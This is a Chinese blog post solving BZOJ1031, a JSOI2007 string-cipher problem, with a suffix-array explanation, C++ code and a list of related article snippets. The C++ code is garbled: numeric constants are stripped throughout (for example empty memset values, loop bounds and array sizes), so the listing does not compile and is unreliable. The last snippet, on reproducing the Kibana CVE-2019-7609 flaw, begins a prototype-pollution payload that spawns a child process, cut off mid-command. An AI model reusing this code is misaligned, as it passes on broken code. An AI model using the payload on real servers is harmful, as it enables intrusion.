bzoj1031题解
【解题思路】
将原串复制一份拼接到原串后作为处理串,可以对处理串的前一半后缀排序,即可得出顺序。复杂度O(Llog2L)。
【参考代码】
也是naive的时候写的。。后缀数组居然是用桶排求的。。
#pragma optimize(2)
#include <cstdio>
#include <cstring>
#include <vector>
#define REP(I,start,end) for(int I=(start);I<=(end);I++)
#define PER(I,start,end) for(int I=(start);I>=(end);I--)
using namespace std;
typedef vector<int> vecint;
vecint srt[];
int suffix[],rank[],srnk[];
char st[];
int main()
{
scanf("%s",st);
int n=strlen(st);
memset(srt,,sizeof(srt));
REP(i,,n)
srt[st[i-]].push_back(i);
int cnt=,tot=;
REP(i,,)
if(!srt[i].empty())
{
cnt++;
for(vecint::iterator it=srt[i].begin();it!=srt[i].end();it++)
{
int now=*it;
suffix[++tot]=now;
rank[now]=cnt;
}
}
for(int i=;i<n;i<<=)
{
memset(srt,,sizeof(srt));
REP(j,,n)
{
int now=i+j;
now-=(now>n)*n;
srt[rank[now]].push_back(j);
}
tot=cnt=;
REP(j,,n)
if(!srt[j].empty())
{
cnt++;
for(vecint::iterator it=srt[j].begin();it!=srt[j].end();it++)
{
int now=*it;
suffix[++tot]=now;
srnk[now]=cnt;
}
}
memset(srt,,sizeof(srt));
REP(j,,n)
srt[rank[suffix[j]]].push_back(suffix[j]);
cnt=tot=;
REP(j,,n)
if(!srt[j].empty())
{
int last=-;
for(vecint::iterator it=srt[j].begin();it!=srt[j].end();it++)
{
int now=*it,pnt=srnk[now];
cnt+=pnt>last;
last=pnt;
suffix[++tot]=now;
rank[now]=cnt;
}
}
}
REP(i,,n)
putchar(st[(suffix[i]+n-)%n]);
putchar('\n');
return ;
}
bzoj1031题解的更多相关文章
- BZOJ1031:[JSOI2007]字符加密——题解
http://www.lydsy.com/JudgeOnline/problem.php?id=1031 喜欢钻研问题的JS同学,最近又迷上了对加密方法的思考.一天,他突然想出了一种他认为是终极的加密 ...
- 【BZOJ1031】[JSOI2007]字符加密Cipher 后缀数组
[BZOJ1031][JSOI2007]字符加密Cipher Description 喜欢钻研问题的JS同学,最近又迷上了对加密方法的思考.一天,他突然想出了一种他认为是终极的加密办法 :把需要加密的 ...
- 【BZOJ1031】字符加密(后缀数组)
[BZOJ1031]字符加密(后缀数组) 题面 BZOJ 洛谷 题解 把字符串倍长 然后直接求后缀数组, 拍好序之后直接输出就行了. (我只是复习一下\(SA\)而已) #include<ios ...
- LG4051/BZOJ1031 「JSOI2007」字符加密 后缀数组
问题描述 BZOJ1031 LG4051 题解 发现这是一个环,根据经验,破环为链,于是字符环变为了字符串 之后对这个复制之后的字符串求后缀数组. $len$代表原字符串长度,代表复制后的字符串长度 ...
- 2016 华南师大ACM校赛 SCNUCPC 非官方题解
我要举报本次校赛出题人的消极出题!!! 官方题解请戳:http://3.scnuacm2015.sinaapp.com/?p=89(其实就是一堆代码没有题解) A. 树链剖分数据结构板题 题目大意:我 ...
- noip2016十连测题解
以下代码为了阅读方便,省去以下头文件: #include <iostream> #include <stdio.h> #include <math.h> #incl ...
- BZOJ-2561-最小生成树 题解(最小割)
2561: 最小生成树(题解) Time Limit: 10 Sec Memory Limit: 128 MBSubmit: 1628 Solved: 786 传送门:http://www.lyd ...
- Codeforces Round #353 (Div. 2) ABCDE 题解 python
Problems # Name A Infinite Sequence standard input/output 1 s, 256 MB x3509 B Restoring P ...
- 哈尔滨理工大学ACM全国邀请赛(网络同步赛)题解
题目链接 提交连接:http://acm-software.hrbust.edu.cn/problemset.php?page=5 1470-1482 只做出来四道比较水的题目,还需要加强中等题的训练 ...
随机推荐
- Java基础之ArrayList类
一.ArrayList ArrayList继承了AbstractList分别实现了List.RandomAccess(随机访问).Cloneable(可被克隆(复制的意思)). Serializabl ...
- 【leetcode】977. Squares of a Sorted Array
题目如下: Given an array of integers A sorted in non-decreasing order, return an array of the squares of ...
- Vue学习笔记【13】——键盘修饰符以及自定义键盘修饰符
1.x版本中自定义键盘修饰符[了解] Vue.directive('on').keyCodes.f2 = 113; 2.x版本中自定义键盘修饰符 通过Vue.config.keyCodes.名称 = ...
- php-异步上传插件
http://www.cnblogs.com/kissdodog/archive/2012/12/15/2819025.html
- Arduino与水泵实验+土壤湿度传感器
1 水泵实验我们这里是使用的继电器控制的水泵,注意再实验的时候电池的电压不要超过6v,太大容易烧毁水泵,如果是长时间的使用水泵,要注意将水泵放入水中,这样可以达到给水泵降温的效果.1.全新5V继电器模 ...
- JavaScript笔记(第一章,第二章)
JavaScript笔记(第一章,第二章) 第一章: <meta http-equiv="Content-Type" content="text/html; cha ...
- 18、webservice使用
1.将axis2.war文件拷到tomcat,webapp文件夹下,然后重启tomcat 访问
- Mysql中设置默认时间为系统当前时间
Mysql中设置默认时间为系统当前时间 数据库设计时会遇到的一种情况:将系统当前时间设成默认值存储 数据库设计编码: CREATE TABLE `test` ( `name` varchar(50) ...
- LightOJ 1203 Guarding Bananas (凸包最小顶角)
题目链接:LightOJ 1203 Problem Description Once there was a lazy monkey in a forest. But he loved banana ...
- Kibana < 6.6.1 代码执行漏洞复现CVE-2019-7609
登陆kibana poc .es(*).props(label.__proto__.env.AAAA='require("child_process").exec("ba ...